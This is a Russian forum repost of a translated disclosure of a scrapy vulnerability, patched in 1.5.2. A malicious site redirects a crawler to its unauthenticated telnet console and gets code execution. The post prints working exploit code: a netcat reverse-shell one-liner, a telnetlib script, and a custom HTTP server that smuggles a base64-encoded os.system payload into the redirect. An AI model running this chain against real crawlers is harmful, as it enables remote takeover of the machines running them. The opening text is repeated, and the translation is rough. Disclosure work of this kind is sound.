Пожалуйста, обратите внимание, что пользователь заблокирован
Не знал как правильно перевести Spider, поэтому переводил как знал)
В этом году в целью нашего исследования будет безопасность в веб-фреймворках. Зачем?- Потому что это важно для нас. В качестве небольшого контекста, между 2012 и 2017 годами я работал в мировом лидере Scrapinghub, создавая более 500 пауков(spiders). В alerttot мы используем веб-пауков(web spiders) для получения новых уязвимостей из нескольких источников. Это основной компонент нашего стека.
Мы ежедневно используем scrapy, и большая часть уязвимостей будет связана с ним и его экосистемой, чтобы повысить его безопасность, но мы также хотим исследовать фреймворки веб-очистки на других языках.
В качестве прецедента 5 лет назад я обнаружил приятную уязвимость XXE в scrapy, и вы можете прочитать обновленную версию этого поста здесь .
Хорошо, поехали!
Просто чтобы прояснить, уязвимости, раскрытые в этом посте, влияют на
Отладка по умолчанию
Начать пользоваться scrapy легко. Как видно из домашней страницы , вы можете запустить свой первый паук в считанные секунды, а в журнале отображается информация о включенных расширениях, промежуточном программном обеспечении и других опциях. То, что всегда привлекало мое внимание - это служба Telnet, включенная по умолчанию.
Это консоль telnet, работающая на порту
Вообще, не принято обращаться к консоли telnet. Я использовал её для отладки пауков либо из-за нехватки памяти (в ограниченных средах), либо из-за вечности, всего около 5 из 500+ пауков.
Меня беспокоило то, что консоль была доступна без какой-либо аутентификации , тогда любой локальный пользователь мог подключиться к порту и выполнять команды в контексте пользователя, запускающего паука. Первое доказательство концепции - попытаться использовать эту локальную ошибку повышения привилегий (LPE).
Легкий LPE
Чтобы продемонстрировать это использование, есть два требования:
1. Эксплуататор имеет доступ к системе.
2. Там работает паук, который показывает сервис telnet. Следующий паук отвечает этому требованию, делая первоначальный запрос и затем бездействуя из-за параметра download_delay.
Наш эксплойт прост:
Он определяет обратную оболочку, подключается к службе telnet и отправляет строку для запуска обратной оболочки с помощью os.system в Python . Я создал следующее видео, чтобы показать это в действии!
Теперь мы собираемся начать наш путь от этой локальной эксплуатации к удаленной эксплуатации!
Взять под контроль запросы паука
Ниже представлен паук, созданный командой
Он содержит некоторые атрибуты класса, и один из них - allow_domains . Согласно документации - это определяется как:
Затем, если паук попытается сделать запрос к example.edu , он будет отфильтрован и отображен в журнале:
Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.
Как сообщается здесь и во многих других вопросах, это известное поведение. Пол Трембер (Paul Tremberth) поставил некоторый контекст по этому вопросу, и есть некоторые возможные исправления (например, 1002 ), но ничего более.
Это непреднамеренное поведение, но под пристальным вниманием безопасности - это нечто. Представьте, что есть опасный веб-сайт, и вы хотите создать паука, который входит в пользовательскую область. Логика на стороне сервера будет выглядеть так:
Шаблон login.html, используемый на маршруте / отображает форму с action=/login . Пример паука для сайта будет:
Обзор шагов:
1. Паук отправляет запрос
2. В строке 11 он отправляет запрос
3. В строке 18 паук печатает, что аутентификация прошла успешно.
Давайте запустим паука:
Все хорошо, паук работает и успешно заходит в систему. Как насчет того, чтобы сайт стал злостным актером?
Злоупотребляя поведением
Однако веб-сайт (теперь злонамеренный) меняет логику на:
Повторный запуск паука дает нам следующий результат:
Несмотря на ошибки, на самом деле паук запросил
На самом деле, это какой-то класс SSRF, который я бы назвал « Подделка запросов со стороны паука » (каждый хочет создавать новые термины ). Некоторые подробности о среде:
1. Обычно паук очищает только один веб-сайт, но нередко паук проводит проверки на других сайтах / в доменах.
2. Паук запрашивает URL, и, вероятно, нет никакого способа получить ответ (он отличается от обычного SSRF ).
3. До сих пор мы можем контролировать только полный URL-адрес и, возможно, некоторую часть тела в запросе
Несмотря на все эти ограничения, такая уязвимость, как и SSRF , открывает новую область: локальная сеть и локальный хост. Конечно, мы не знаем о разрешениях в локальной сети, поэтому ключевой вопрос: что работает на локальном хосте, не проходит проверку подлинности и обеспечивает возможности выполнения кода?
Давайте говорить на языке телнет
Теперь мы собираемся перенаправить запросы на
Запуск паука выдает нам много ошибок:
Кажется, что количество ошибок равно количеству строк нашего запроса
Давайте вернемся к исходной версии
Отправка в telnet
Идея использования запроса
Тело запроса, отправляемое пауком, начинается с
После этого я попытался использовать форму enctype, но FormRequest не заботится об этом значении и просто устанавливает
Что еще попробовать? Я знаю, что метод должен быть списком допустимых значений (
Это не подтверждает, что метод формы действителен, хорошие новости! Если я создаю HTTP-сервер, поддерживающий метод
Создание строки Python
Идея состоит в том, чтобы создать допустимую строку, а затем попытаться закомментировать оставшуюся часть строки. Принимая во внимание, как строится
Как показано в предыдущем выводе,
Полезная нагрузка представляет собой код Python и может быть разделена точками с запятой. Идея комментировать оставшуюся часть строки после полезной нагрузки невозможна, поскольку scrapy удаляет символ # . Остаток -
Склеивая все вместе
Раздел полезной нагрузки является специальным:
1. Он не может содержать пробел.
2. Область действия ограничена, т. Е. Переменная
3. Некоторые символы, такие как
Принимая во внимание эти ограничения, мы собираемся построить нашу полезную нагрузку следующим образом:
В строке 1 мы определяем нашу обратную оболочку, в строке 2 мы кодируем ее в кодировке
Теперь нам нужно создать веб-сервер, способный обрабатывать этот специальный метод
Важные части:
● Строка 11
● В строке 33 это начало метода
● В строке 18 мы определяем нашу логику. Во-первых, мы устанавливаем код перенаправления 307 , таким образом он сохраняет наш странный метод. Затем мы создаем нашу полезную нагрузку и отправляем заголовок
Давайте посмотрим это в действии!
Заключение
После этой неожиданной эксплуатации я собираюсь создать некоторые проблемы на Github для решения проблем, связанных с нефильтрованным перенаправлением и недопустимыми методами форм.
Мне очень понравилось решение, принятое на
Я надеюсь, вам понравился этот пост и следите за обновлениями и ждите следующей части этого исследования!
Отказ от ответственности: scrapy 1.5.2 был выпущен 22 января, чтобы избежать последствий, вы должны отключить консоль telnet (включена по умолчанию) или обновить до 1.5.2 как минимум.
В этом году в целью нашего исследования будет безопасность в веб-фреймворках. Зачем?- Потому что это важно для нас. В качестве небольшого контекста, между 2012 и 2017 годами я работал в мировом лидере Scrapinghub, создавая более 500 пауков(spiders). В alerttot мы используем веб-пауков(web spiders) для получения новых уязвимостей из нескольких источников. Это основной компонент нашего стека.
Мы ежедневно используем scrapy, и большая часть уязвимостей будет связана с ним и его экосистемой, чтобы повысить его безопасность, но мы также хотим исследовать фреймворки веб-очистки на других языках.
В качестве прецедента 5 лет назад я обнаружил приятную уязвимость XXE в scrapy, и вы можете прочитать обновленную версию этого поста здесь .
Хорошо, поехали!
Просто чтобы прояснить, уязвимости, раскрытые в этом посте, влияют на
scrapy <1.5.2 . Как упоминалось в журнале изменений scrapy 1.6.0 , в scrapy 1.5.2 представили некоторые функции безопасности в консоли telnet, в частности, аутентификацию, которая защищает вас от уязвимостей, которые я собираюсь раскрыть.Отладка по умолчанию
Начать пользоваться scrapy легко. Как видно из домашней страницы , вы можете запустить свой первый паук в считанные секунды, а в журнале отображается информация о включенных расширениях, промежуточном программном обеспечении и других опциях. То, что всегда привлекало мое внимание - это служба Telnet, включенная по умолчанию.
Код:
[scrapy.middleware] INFO: Enabled extensions:
[‘scrapy.extensions.corestats.CoreStats’,
‘scrapy.extensions.telnet.TelnetConsole’,
‘scrapy.extensions.memusage.MemoryUsage’,
‘scrapy.extensions.logstats.LogStats’]
[…]
[scrapy.extensions.telnet] DEBUG: Telnet console listening on 127.0.0.1:6023
Это консоль telnet, работающая на порту
6023 , целью которой является облегчение отладки. Обычно службы telnet ограничены набором функций, но эта консоль предоставляет оболочку python в контексте паука, что делает ее мощной для отладки и интересной, если кто-то получает к ней доступ.Вообще, не принято обращаться к консоли telnet. Я использовал её для отладки пауков либо из-за нехватки памяти (в ограниченных средах), либо из-за вечности, всего около 5 из 500+ пауков.
Меня беспокоило то, что консоль была доступна без какой-либо аутентификации , тогда любой локальный пользователь мог подключиться к порту и выполнять команды в контексте пользователя, запускающего паука. Первое доказательство концепции - попытаться использовать эту локальную ошибку повышения привилегий (LPE).
Легкий LPE
Чтобы продемонстрировать это использование, есть два требования:
1. Эксплуататор имеет доступ к системе.
2. Там работает паук, который показывает сервис telnet. Следующий паук отвечает этому требованию, делая первоначальный запрос и затем бездействуя из-за параметра download_delay.
Код:
import scrapy
from scrapy.http import Request
class TelnetWaitingSpider(scrapy.Spider):
name = "telnet_waiting"
allowed_domains = ["example.org"]
start_urls = ["http://www.example.org"]
download_delay = 1000
def parse(self, _):
yield Request(url="http://www.example.org/")
Наш эксплойт прост:
Код:
import telnetlib
rs = "nc.traditional -e /bin/bash localhost 4444"
tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")
Он определяет обратную оболочку, подключается к службе telnet и отправляет строку для запуска обратной оболочки с помощью os.system в Python . Я создал следующее видео, чтобы показать это в действии!
Теперь мы собираемся начать наш путь от этой локальной эксплуатации к удаленной эксплуатации!
Взять под контроль запросы паука
Ниже представлен паук, созданный командой
scrapy genspider example example.org.
Код:
import scrapy
class ExampleSpider(scrapy.Spider):
name = 'example'
allowed_domains = ['example.org']
start_urls = ['http://example.org/']
def parse(self, response):
pass
Он содержит некоторые атрибуты класса, и один из них - allow_domains . Согласно документации - это определяется как:
Необязательный список строк, содержащих домены, которые этот паук может сканировать. Запросы для URL-адресов, не принадлежащих доменным именам, указанным в этом списке (или их поддоменам), не будут выполняться, если включено OffsiteMiddleware .
Затем, если паук попытается сделать запрос к example.edu , он будет отфильтрован и отображен в журнале:
[scrapy.spidermiddlewares.offsite] DEBUG: Filtered offsite request to ‘example.edu’: <GET[URL='http://example.edu/?source=post_page---------------------------'] http://example.edu[/URL]>Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.
Как сообщается здесь и во многих других вопросах, это известное поведение. Пол Трембер (Paul Tremberth) поставил некоторый контекст по этому вопросу, и есть некоторые возможные исправления (например, 1002 ), но ничего более.
Это непреднамеренное поведение, но под пристальным вниманием безопасности - это нечто. Представьте, что есть опасный веб-сайт, и вы хотите создать паука, который входит в пользовательскую область. Логика на стороне сервера будет выглядеть так:
Код:
from flask import Flask, abort, render_template, request
app = Flask(__name__)
@app.route("/")
def home():
return render_template("login.html")
@app.route("/login", methods=["POST"])
def login():
if request.form["username"] == "user" and request.form["password"] == "secret":
return "", 200
else:
abort(500)
Шаблон login.html, используемый на маршруте / отображает форму с action=/login . Пример паука для сайта будет:
Код:
import scrapy
from scrapy.http import FormRequest
class DangerousSpider(scrapy.Spider):
name = "dangerous"
allowed_domains = ["dangerous.tld"]
start_urls = ["http://dangerous.tld/"]
def parse(self, response):
return FormRequest.from_response(
response,
formdata={"username": "user", "password": "secret"},
callback=self.parse_login,
)
def parse_login(self, _):
print("authenticated")
Обзор шагов:
1. Паук отправляет запрос
GET на http://dangerous.tld/ в строке 8.2. В строке 11 он отправляет запрос
POST, используя FormRequest[/URL] .from_response, который автоматически обнаруживает форму на веб-странице и устанавливает значения формы наоснове словаря formdata .3. В строке 18 паук печатает, что аутентификация прошла успешно.
Давайте запустим паука:
Код:
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None)
[scrapy.core.engine] DEBUG: Crawled (200) <POST http://dangerous.tld/login> (referer: http://dangerous.tld/)
authenticated
[scrapy.core.engine] INFO: Closing spider (finished)
Все хорошо, паук работает и успешно заходит в систему. Как насчет того, чтобы сайт стал злостным актером?
Злоупотребляя поведением
allow_domains , злоумышленник может управлять тем, что паук отправляет запросы интересующим его доменам. Чтобы продемонстрировать это, мы рассмотрим шаги паука. Первый шаг нашего паука создает запрос GET для домашней и конечной точки:
Код:
@app.route("/")
def home():
return render_template("login.html")
Однако веб-сайт (теперь злонамеренный) меняет логику на:
Повторный запуск паука дает нам следующий результат:
Код:
[scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://example.org> from <GET http://dangerous.tld/>
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://example.org> (referer: None)
[scrapy.core.scraper] ERROR: Spider error processing <GET http://example.org> (referer: None)
Несмотря на ошибки, на самом деле паук запросил
http://example.org с запросом GET. Кроме того, также возможно перенаправить запрос POST (с его телом), созданный на шаге 2, используя перенаправление с кодом [URL='https://translate.google.com/translate?hl=ru&prev=_t&sl=auto&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307%3Fsource%3Dpost_page---------------------------']307 .На самом деле, это какой-то класс SSRF, который я бы назвал « Подделка запросов со стороны паука » (каждый хочет создавать новые термины ). Некоторые подробности о среде:
1. Обычно паук очищает только один веб-сайт, но нередко паук проводит проверки на других сайтах / в доменах.
2. Паук запрашивает URL, и, вероятно, нет никакого способа получить ответ (он отличается от обычного SSRF ).
3. До сих пор мы можем контролировать только полный URL-адрес и, возможно, некоторую часть тела в запросе
POST .Несмотря на все эти ограничения, такая уязвимость, как и SSRF , открывает новую область: локальная сеть и локальный хост. Конечно, мы не знаем о разрешениях в локальной сети, поэтому ключевой вопрос: что работает на локальном хосте, не проходит проверку подлинности и обеспечивает возможности выполнения кода?
Телнет сервис!Давайте говорить на языке телнет
Теперь мы собираемся перенаправить запросы на
localhost: 6023 .
Код:
@app.route("/")
def home():
return redirect("http://localhost:6023", code=302)
Запуск паука выдает нам много ошибок:
Код:
[scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://localhost:6023> from <GET http://dangerous.tld/>
[scrapy.downloadermiddlewares.retry] DEBUG: Retrying <GET http://localhost:6023> (failed 1 times): [<twisted.python.failure.Failu
re twisted.web._newclient.ParseError: (‘non-integer status code’, b’\xff\xfd”\xff\xfd\x1f\xff\xfd\x03\xff\xfb\x01\x1bc>>> \x1b[4hGET / HTTP/1.1\r\r’)
>]
Unhandled Error
Traceback (most recent call last):
Failure: twisted.internet.error.ConnectionDone: Connection was closed cleanly.
Кажется, что количество ошибок равно количеству строк нашего запроса
GET (включая заголовки), мы достигаем порта telnet, но не отправляем допустимую строку Python . Нам нужно больше контролировать отправленные данные, так как инструкция GET и заголовки не соответствуют синтаксису Python. Как насчет части запроса POST, которая отправляет учетные данные для входа?Давайте вернемся к исходной версии
home и попробуем использовать логику формы входа.Отправка в telnet
Идея использования запроса
POST состоит в том, чтобы обработать тело запроса как можно ближе к началу, чтобы построить правильную строку Python . Аргумент formdata, переданный в FormRequest.from_response, обновит значения формы, добавив эти новые значения в конец тела запроса. Это здорово, так как злоумышленник может добавить скрытый ввод в форму, и это будет в начале тела запроса.
Код:
<form name="form" action="/login" method="POST">
<input type="hidden" name="malicious" value="1" />
<div class="form-group">
<label for="name">Username</label>
<input class="form-control" id="username" type="text" name="username" required="required" />
</div>
<div class="form-group">
<label for="url">Password</label>
<input class="form-control" id="password" type="password" name="password" required="required" />
</div>
<button class="btn btn-primary" type="submit">Login</button>
</form>
Тело запроса, отправляемое пауком, начинается с
malicious=1 , однако FormRequest.from_response кодирует URL-кодировкой, и тогда невозможно построить правильную строку Python .После этого я попытался использовать форму enctype, но FormRequest не заботится об этом значении и просто устанавливает
Content-Type: application / x-www-form-urlencoded . Игра окончена!Можно ли отправить запрос POST без закодированного тела? Да, используя обычный класс Request с method = POST. Это способ отправки запросов POST с телом JSON, но я не считаю это нужным, когда злоумышленник может контролировать тело этого запроса.
Что еще попробовать? Я знаю, что метод должен быть списком допустимых значений (
GET, POST и т. Д. ), Но давайте попробуем, соответствует ли scrapy этому. Мы собираемся изменить метод формы на gaga и увидим вывод паука:
Код:
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None)
[scrapy.core.engine] DEBUG: Crawled (405) <GAGA http://dangerous.tld/login?username=user&password=secret> (referer: http://danger
ous.tld/)
Это не подтверждает, что метод формы действителен, хорошие новости! Если я создаю HTTP-сервер, поддерживающий метод
GAGA , я мог бы отправить перенаправление на localhost: 6023 / payload, и этот новый запрос с методом GAGA достигнет службы telnet. У нас есть надежда!Создание строки Python
Идея состоит в том, чтобы создать допустимую строку, а затем попытаться закомментировать оставшуюся часть строки. Принимая во внимание, как строится
HTTP- запрос, и идею настраиваемого HTTP-сервера, строка, отправляемая на консоль telnet, в конечном итоге будет:GAGA /payload HTTP/1.1Как показано в предыдущем выводе,
scrapy поместил мой метод gaga в GAGA , тогда я не могу сразу ввести код Python, потому что он будет недействительным. Поскольку метод всегда будет первым, я видел только один вариант - использовать метод, подобный GET = ', для создания допустимой строковой переменной, а затем в URI поместить закрывающий апостроф и запустить мой код Python .GET =' [URL='http://dangerous.tld/login?username=user&password=secret&source=post_page---------------------------']/[/URL]';mypayload; HTTP/1.1 Полезная нагрузка представляет собой код Python и может быть разделена точками с запятой. Идея комментировать оставшуюся часть строки после полезной нагрузки невозможна, поскольку scrapy удаляет символ # . Остаток -
HTTP / 1.1 , тогда, если я объявлю HTTP как число с плавающей запятой, это будет допустимое деление и не вызовет никаких исключений. Последняя строка будет выглядеть так:GET =' [URL='http://dangerous.tld/login?username=user&password=secret&source=post_page---------------------------']/[/URL]';payload;HTTP=2.0; HTTP/1.1 Склеивая все вместе
Раздел полезной нагрузки является специальным:
1. Он не может содержать пробел.
2. Область действия ограничена, т. Е. Переменная
GET не существует в области полезной нагрузки .3. Некоторые символы, такие как
< или >, имеют URL-кодировку.Принимая во внимание эти ограничения, мы собираемся построить нашу полезную нагрузку следующим образом:
Код:
rs = "nc.traditional -e /bin/bash localhost 4444 &"
rs64 = base64.b64encode(rs.encode()).decode()
payload = f"__import__('os').system(__import__('base64').b64decode('{rs64}'))"
В строке 1 мы определяем нашу обратную оболочку, в строке 2 мы кодируем ее в кодировке
base64 и используем магическую функцию __import__ для импорта модулей os и base64, которые в конечном итоге позволяют выполнять нашу обратную оболочку в качестве команды.Теперь нам нужно создать веб-сервер, способный обрабатывать этот специальный метод
GET = ' . Поскольку популярные фреймворки этого не допускают (по крайней мере, с легкостью), как и при использовании XXE , мне пришлось взломать класс BaseHTTPRequestHandler из модуля http, чтобы обслуживать действительные запросы GET и недопустимые запросы GET = ' .Пользовательский веб-сервер находится ниже:
Код:
import base64
import re
import socket
import sys
import time
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
class WebServerHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
with open("templates/malicious_login.html") as f:
self.wfile.write(f.read().encode())
def send_malicious_payload(self):
self.requestline = ""
self.request_version = ""
self.command = ""
self.send_response(307)
rs = "nc.traditional -e /bin/bash localhost 4444 &"
rs64 = base64.b64encode(rs.encode()).decode()
payload = f"__import__('os').system(__import__('base64').b64decode('{rs64}'))"
print("[+] Sending redirect with payload ..")
self.send_header("Location", f"http://localhost:6023/';{payload};HTTP=2.0;")
self.end_headers()
def handle_one_request(self):
"""Handle a single HTTP request.
You normally don't need to override this method; see the class
__doc__ string for information on how to handle specific HTTP
commands such as GET and POST.
"""
try:
self.raw_requestline = self.rfile.readline(65537)
print(self.raw_requestline)
if len(self.raw_requestline) > 65536:
self.requestline = ""
self.request_version = ""
self.command = ""
self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
return
if not self.raw_requestline:
self.close_connection = True
return
if "username" in str(self.raw_requestline):
self.send_malicious_payload()
return
# malicious request fails here!
if not self.parse_request():
# An error code has been sent, just exit
return
mname = "do_" + self.command
if not hasattr(self, mname):
self.send_error(
HTTPStatus.NOT_IMPLEMENTED, "Unsupported method (%r)" % self.command
)
return
method = getattr(self, mname)
method()
self.wfile.flush() # actually send the response if not already done.
except socket.timeout as e:
# a read or a write timed out. Discard this connection
self.log_error("Request timed out: %r", e)
self.close_connection = True
return
def log_message(self, format, *args):
return
def setup_webserver():
""" Setup webserver for serve files """
server_address = ("localhost", 5000)
httpd = HTTPServer(server_address, WebServerHandler)
try:
print("To exit, press Ctrl-c")
httpd.serve_forever()
except KeyboardInterrupt:
print("Exiting ..")
sys.exit(0)
if __name__ == "__main__":
setup_webserver()
Важные части:
● Строка 11
malicious_login.html служит для шаблона , когда сервер получает запрос GET к конечной точке. Чем отличается этот файл malware_login.html ? <form name="form" action="/login" method="GET ='"> ● В строке 33 это начало метода
handle_one_request из родительского класса. Это почти то же самое, за исключением того, что в строке 52 мы обнаруживаем, что форма была отправлена (видя, что в URI есть строка username ).● В строке 18 мы определяем нашу логику. Во-первых, мы устанавливаем код перенаправления 307 , таким образом он сохраняет наш странный метод. Затем мы создаем нашу полезную нагрузку и отправляем заголовок
Location пауку, чтобы он попадал в службу telnet.Давайте посмотрим это в действии!
Заключение
После этой неожиданной эксплуатации я собираюсь создать некоторые проблемы на Github для решения проблем, связанных с нефильтрованным перенаправлением и недопустимыми методами форм.
Мне очень понравилось решение, принятое на
scrapy 1.5.2, так как они добавили аутентификацию в службу telnet с помощью имени пользователя и пароля, и, если пароль не установлен, они создают случайный и безопасный. Я надеюсь, вам понравился этот пост и следите за обновлениями и ждите следующей части этого исследования!